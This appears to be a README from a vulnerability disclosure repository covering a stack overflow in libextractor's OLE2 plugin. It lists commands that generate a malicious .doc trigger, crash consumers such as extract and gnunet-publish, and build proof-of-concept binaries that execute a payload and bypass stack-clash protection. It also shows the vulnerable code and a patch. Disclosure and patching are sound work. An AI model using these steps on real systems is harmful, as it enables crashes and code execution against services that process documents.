# Generate malicious .doc
python3 poc/gen_payload.py exploit.doc

# Any application that processes this file with libextractor crashes:
extract exploit.doc                    # CLI tool → OLE2 plugin worker crashes
gnunet-publish exploit.doc             # GNUnet → gnunet-helper-fs-publish crashes

├── poc/                    # Proof of concept
│   ├── gen_payload.py      # Generates malicious .doc trigger file
│   ├── poc_rce.c           # Demonstrates code execution (protection disabled)
│   └── bypass_rce.c        # Stack-clash-protection bypass (multi-threaded)
├── exploit/                # Exploitation details
│   ├── remote_exploit.sh   # Example: triggering via HTTP upload (lab scenario)
│   └── extract_server.c    # Example: vulnerable application using libextractor
├── patches/                # Recommended fix
│   └── 0001-fix-ole2-vla.patch
├── lab-setup/              # Reproducible test environment
│   ├── Dockerfile          # Builds vulnerable libextractor from source
│   ├── docker-compose.yml  # Full lab (includes HTTP upload as one test vector)
│   └── upload_server.py    # Document indexing service simulation
└── docs/
    ├── BYPASS.md           # Stack-clash-protection bypass technique
    └── PAYLOAD_STRUCTURE.md # Malicious .doc file format documentation

# Build libextractor from source
./configure && make && sudo make install

# Generate trigger file
python3 poc/gen_payload.py exploit.doc

# Crash any libextractor consumer
extract exploit.doc   # crashes the OLE2 plugin worker

gcc -O2 -fno-stack-clash-protection -o poc_rce poc/poc_rce.c -lextractor
ulimit -s 2048
./poc_rce exploit.doc   # executes attacker payload (exit code 42)

gcc -O2 -fstack-clash-protection -o bypass_rce poc/bypass_rce.c -lextractor -lpthread
./bypass_rce exploit.doc   # bypasses protection, executes payload (exit code 42)

docker-compose -f lab-setup/docker-compose.yml up -d

// src/plugins/ole2_extractor.c:349
off_t size = gsf_input_size(src);        // Attacker controls via OLE2 stream
if (size > 4 * 1024 * 1024) return 0;   // Max 4MB allowed — but stack is 1-8MB
char buf[size];                           // VLA: up to 4MB ON THE STACK
gsf_input_read(src, size, buf);           // Write attacker data

sub %rax, %rsp    ; Single instruction, jumps RSP past guard page

-  if ( (size < 0x374) ||
-       (size > 4 * 1024 * 1024) )
+  char buf[0x374];
+
+  if (size < 0x374)
     return 0;
-  {
-    char buf[size];
-    gsf_input_read (src, size, (unsigned char*) buf);
+  gsf_input_read (src, sizeof(buf), (unsigned char*) buf);